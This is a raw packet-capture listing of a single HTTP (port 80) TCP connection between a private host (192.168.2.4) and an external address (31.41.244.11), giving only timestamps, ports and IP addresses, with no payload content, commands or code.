Dec 20, 2024 04:12:50.420748949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.420792103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.420834064 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.421155930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.421196938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.421242952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.421278954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.422240019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.422281027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.422358990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.422396898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.423438072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.423559904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.423605919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.423629045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.424484968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.424536943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.424563885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.424607992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.425570011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.425614119 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.425642014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.425685883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.426697016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.426742077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.426796913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.426836014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.427781105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.427824020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.427958965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.427994013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.428889990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.428934097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.428997993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.429039001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.429999113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.430043936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.430124998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.430166006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.431085110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.431129932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.431195974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.431236982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.432188988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.432233095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.432297945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.432338953 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.433293104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.433335066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.433357000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.433397055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.434407949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.434451103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.434514999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.434556007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.435508013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.435551882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.435677052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.435712099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.436661959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.436671972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.436702013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.436712027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.437755108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.437799931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.437866926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.437907934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.438868046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.438910961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.439110041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.439150095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.439973116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.440016985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.440063953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.440104961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.441097021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.441143036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.441240072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.441279888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.442179918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.442224026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.442341089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.442384005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.443309069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.443353891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.443629026 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.443670034 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.444425106 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.444467068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.444685936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.444725990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.445487976 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.445579052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.445580006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.445621014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.446613073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.446655989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.446755886 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.446790934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.447690964 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.447735071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.447819948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.447864056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.448801994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.448827982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.448843002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.448858976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.449909925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.449955940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.449987888 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.450031042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.451225042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.451236963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.451262951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.451273918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.452166080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.452209949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.452240944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.452286005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.453252077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.453263998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.453291893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.453303099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.454346895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.454390049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.454495907 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.454539061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.455502987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.455545902 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.455621004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.455663919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.456584930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.456629038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.456656933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.456697941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.457680941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.457726002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.457756042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.457797050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.458770990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.458812952 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.458889961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.458930016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.459975004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.460016012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.460107088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.460148096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.461057901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.461100101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.461110115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.461143970 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.462127924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.462168932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.462239027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.462280035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.463206053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.463248014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.463315964 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.463361025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.464310884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.464349985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.464375019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.464412928 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.465454102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.465498924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.465528965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.465570927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.466506004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.466547966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.466613054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.466655016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.467629910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.467672110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.467780113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.467820883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.468777895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.468816042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.468822002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.468854904 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.469842911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.469891071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.469945908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.469986916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.470923901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.470968962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.471025944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.471065998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.472049952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.472094059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.472151041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.472191095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.473134041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.473176003 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.473319054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.473357916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.474503994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.474546909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.474562883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.474601030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.475359917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.475402117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.475573063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.475614071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.476655006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.476665974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.476699114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.477555037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.477596045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.477627039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.477663994 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.478599072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.478641033 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.612780094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.612823963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.612905025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.612936974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.613312960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.613352060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.613533974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.613574982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.614475965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.614510059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.614569902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.614604950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.615638018 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.615647078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.615678072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.615678072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.616709948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.616748095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.616806984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.616841078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.617783070 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.617825985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.618006945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.618045092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.618889093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.618936062 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.619061947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.619102001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.620066881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.620079041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.620109081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.620117903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.621117115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.621162891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.621321917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.621366978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.622257948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.622277975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.622304916 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.622319937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.623327017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.623364925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.623383999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.623419046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.624401093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.624476910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.624531031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.624566078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.625492096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.625531912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.625585079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.625621080 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.626642942 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.626652956 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.626676083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.626687050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.627744913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.627782106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.627835035 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.627875090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.628868103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.628911018 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.628969908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.629009008 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.629997015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.630043030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.630104065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.630145073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.631051064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.631092072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.631162882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.631201029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.632189035 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.632231951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.632312059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.632356882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.633270025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.633322001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.633353949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.633397102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.634382963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.634440899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.634530067 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.634573936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.635462999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.635513067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.635659933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.635700941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.636596918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.636647940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.636676073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.636715889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.637691975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.637732029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.637787104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.637819052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.638885975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.638895988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.638927937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.638937950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.639941931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.639987946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.640048981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.640089989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.641216993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.641253948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.641268969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.641305923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.642151117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.642195940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.642222881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.642262936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.643249989 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.643290043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.643325090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.643364906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.644309998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.644350052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.644432068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.644471884 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.645441055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.645481110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.645492077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.645528078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.646527052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.646568060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.646596909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.646636963 CET	49875	80	192.168.2.4	31.41.244.11
